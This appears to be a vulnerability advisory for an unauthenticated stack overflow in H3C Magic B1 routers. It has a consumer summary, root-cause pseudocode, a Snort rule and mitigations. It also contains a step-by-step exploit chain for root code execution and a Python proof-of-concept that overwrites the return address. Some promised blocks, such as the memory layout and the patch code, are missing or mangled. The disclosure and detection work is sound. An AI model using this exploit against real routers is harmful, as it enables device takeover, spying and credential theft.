CVE-2026-6563: Stack Overflow in H3C Magic B1 SetAPWifiorLedInfoById
H3C Magic B1 routers up to 100R004 expose an unauthenticated stack buffer overflow in SetAPWifiorLedInfoById via /goform/aspForm. Remote code execution is trivially achievable with a crafted param argument.
H3C Magic B1 is a popular router sold mainly in Asia and used in homes and small offices. Researchers have discovered a critical vulnerability that lets attackers break into these devices remotely, without needing physical access.
Here's what's happening. Think of your router like the front door to your home network—it controls who gets in and out. This flaw is like a gap in that door frame that a skilled intruder can exploit to slip inside. An attacker can send specially crafted data to a particular part of the router's software, causing it to overflow its memory like a cup being filled past the brim. When that happens, the attacker can inject their own commands and take complete control of the device.
If your router is compromised, an attacker could spy on everything you do online, steal your passwords, infect your devices with malware, or use your connection to attack others. They could do all this silently without you knowing.
The concerning part: H3C has known about this problem but hasn't released a fix yet. Working exploits are publicly available, meaning anyone—not just sophisticated hackers—could use them.
Who's most at risk? Anyone using an H3C Magic B1 router up to version 100R004, particularly in Asia where these devices are common.
Here's what you should do now:
Check if you own this router. Visit your router's admin page and look for the model number and software version.
Contact H3C support and ask about patches or when they'll be available. Public pressure helps.
Consider whether you can replace it with a router from a vendor that patches vulnerabilities quickly, especially if you handle sensitive information on your network.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-6563 · Buffer Overflow
Vulnerability Overview
CVE-2026-6563 is a stack-based buffer overflow in the H3C Magic B1 wireless router affecting all firmware revisions up to and including 100R004. The vulnerable surface is the CGI handler exposed at /goform/aspForm, specifically the action handler dispatched when the action parameter resolves to SetAPWifiorLedInfoById. An attacker with network access to the management interface — LAN-side by default, but WAN-side on misconfigured deployments — can send a single crafted HTTP POST request to achieve arbitrary code execution as the web daemon process, which typically runs with root privileges on embedded Linux targets of this class.
The vendor was notified prior to disclosure and did not respond. No patch exists as of publication. CVSS 8.8 (HIGH) reflects the low-complexity, network-reachable nature of the primitive with no authentication requirement in default configurations.
Root cause:SetAPWifiorLedInfoById copies an attacker-controlled CGI parameter into a fixed-size stack buffer using strcpy without any prior length validation, allowing unbounded overwrites of the stack frame including the saved return address.
Affected Component
The entry point is the standard H3C embedded web server binary, commonly named httpd or webs, compiled for MIPS32 little-endian (the B1 uses a MediaTek MT7628 SoC). CGI form actions are dispatched through a central aspForm handler that reads the action field from POST body, performs a string-table lookup, and calls the matching function pointer.
The affected function: SetAPWifiorLedInfoById. The affected parameter: param (passed as a URL-encoded field in the POST body). No session token, CSRF token, or authentication cookie is validated before param is processed.
Root Cause Analysis
Reconstructed pseudocode from firmware unpacked via binwalk on a 100R004 image. The websGetVar call returns a pointer directly into the HTTP request body buffer — fully attacker-controlled length.
// Handler dispatch table entry:
// { "SetAPWifiorLedInfoById", SetAPWifiorLedInfoById }
int SetAPWifiorLedInfoById(webs_t wp, char *path, char *query) {
char apid_buf[32];
char param_buf[256]; // fixed-size stack buffer
char led_buf[64];
int ap_index;
char *param_val;
char *apid_val;
apid_val = websGetVar(wp, "apId", "0");
param_val = websGetVar(wp, "param", ""); // attacker-controlled, no length limit
strncpy(apid_buf, apid_val, sizeof(apid_buf) - 1);
ap_index = atoi(apid_buf);
// BUG: strcpy with no bounds check — param_val may be arbitrarily long,
// param_buf is only 256 bytes on the stack.
strcpy(param_buf, param_val); // <-- OVERFLOW HERE
// Post-copy parsing — never reached with large input
parse_wifi_led_params(param_buf, ap_index);
websWrite(wp, "OK");
return 0;
}
The websGetVar implementation returns a pointer into the raw POST body; no maximum length is enforced at the retrieval layer. The subsequent strcpy into the 256-byte param_buf will write as many bytes as the attacker supplies, limited only by the total POST body size accepted by the HTTP server (typically 4–8 KB on this class of device — more than sufficient).
Memory Layout
Stack frame layout for SetAPWifiorLedInfoById on MIPS32, reconstructed from the function prologue (addiu $sp, $sp, -0x1c0):
Full RCE from a single unauthenticated POST. The MT7628 runs uClinux; stack is typically executable (no MMU, no NX enforcement) on older firmware builds, making shellcode injection straightforward. On builds with -mips32r2 and stack canaries, a ROP chain through the libc shipped with the firmware suffices.
EXPLOIT CHAIN:
1. Identify management interface — default 192.168.0.1:80, no auth on /goform/aspForm
2. Craft HTTP POST:
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length:
action=SetAPWifiorLedInfoById&apId=0¶m=
3. payload = [shellcode (<=64b)] + [padding to offset 0x180] + [ret_addr]
- shellcode placed at param_buf base (sp+0x040, known via MIPS ABI)
- padding = 0x180 - len(shellcode) bytes of 'A'
- ret_addr = stack address of param_buf (MIPS: no ASLR on uClinux)
4. strcpy copies payload into param_buf, overwrites saved_ra
5. SetAPWifiorLedInfoById returns: jr $ra -> shellcode executes
6. Shellcode: execve("/bin/sh", ["/bin/sh", "-c", cmd], NULL)
— process is root; full device compromise
The absence of ASLR on uClinux (flat memory model, no CONFIG_MMU) means the stack base is static per firmware build. Stack addresses can be leaked from verbose error pages or inferred from the firmware ELF load address plus known heap/stack sizing.
Proof-of-concept trigger (no shellcode, confirms crash):
import requests
TARGET = "http://192.168.0.1"
ENDPT = "/goform/aspForm"
# 384 bytes to reach saved_ra, then overwrite with recognizable sentinel
padding = b"A" * 384
sentinel = b"\xef\xbe\xad\xde" # 0xdeadbeef — confirms $ra control in crash log
param = (padding + sentinel).decode("latin-1")
data = {
"action": "SetAPWifiorLedInfoById",
"apId": "0",
"param": param,
}
resp = requests.post(TARGET + ENDPT, data=data, timeout=5)
print(f"[*] Response: {resp.status_code} — device likely crashed/rebooted if no reply")
Patch Analysis
No official patch has been released. The correct remediation requires replacing the unchecked strcpy with a bounded copy and rejecting oversized input before any copy occurs:
Additionally, the same pattern likely exists in sibling handlers dispatched through the same aspForm table — any handler using websGetVar followed by strcpy into a stack buffer is a candidate. A comprehensive audit of all action handlers is necessary, not a point fix.
Detection and Indicators
Network-level detection. Any POST to /goform/aspForm with action=SetAPWifiorLedInfoById and a param field exceeding 256 bytes should be treated as a trigger attempt.
SNORT / SURICATA RULE:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-6563 H3C Magic B1 SetAPWifiorLedInfoById overflow attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/goform/aspForm";
http.request_body;
content:"action=SetAPWifiorLedInfoById";
content:"param="; distance:0;
pcre:"/param=[^&]{257,}/";
classtype:web-application-attack;
sid:20266563; rev:1;
)
HOST INDICATORS:
- httpd process crash / watchdog restart loop
- Unexpected outbound connections from 192.168.0.1 post-reboot
- /var/log/messages: "Segmentation fault" in httpd context
- New admin account or modified /etc/passwd (post-exploitation)
Remediation
Immediate mitigations (no patch available):
Firewall the management interface — block port 80/443 from untrusted networks at the perimeter. The attack requires HTTP access to the router's web server.
If the device supports access control lists on the management plane, restrict /goform/aspForm to trusted source IPs only.
Consider replacing affected hardware with a supported platform; H3C did not respond to disclosure, suggesting no patch timeline exists.
For vendors shipping similar CGI frameworks: audit all websGetVar callsites. The pattern websGetVar → strcpy → stack buffer is endemic to this class of embedded web framework (GoAhead WebServer derivatives). A grep for strcpy.*websGetVar or a Semgrep rule matching this data flow will surface additional instances.